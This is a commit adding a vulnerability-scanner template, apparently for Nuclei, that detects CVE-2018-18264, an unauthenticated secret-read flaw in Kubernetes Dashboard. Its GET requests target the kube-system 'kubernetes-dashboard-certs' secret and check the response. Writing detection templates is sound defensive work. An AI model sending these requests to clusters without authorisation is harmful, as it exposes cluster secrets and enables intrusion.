Add CVE-2018-18264

patch-1
edoardottt 2022-03-03 18:02:39 +01:00
parent bffcf9b5fd
commit 6cf8d21cc2
1 changed files with 34 additions and 0 deletions

View File

@ -0,0 +1,34 @@
id: CVE-2018-18264
info:
name: Kubernetes Dashboard unauthenticated secret access
author: edoardottt
severity: high
description: Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard's Service Account for reading secrets within the cluster.
tags: cve,cve2018,kubernetes
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-18264
cwe-id: CWE-306
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2018-18264
- https://github.com/kubernetes/dashboard/pull/3289
- https://sysdig.com/blog/privilege-escalation-kubernetes-dashboard/
requests:
- method: GET
path:
- "{{BaseURL}}/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs"
- "{{BaseURL}}/k8s/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs"
matchers-condition: and
matchers:
- type: status
status:
- 200
matchers:
- type: dsl
dsl:
- 'contains(body, "apiVersion") && contains(body, "objectRef")'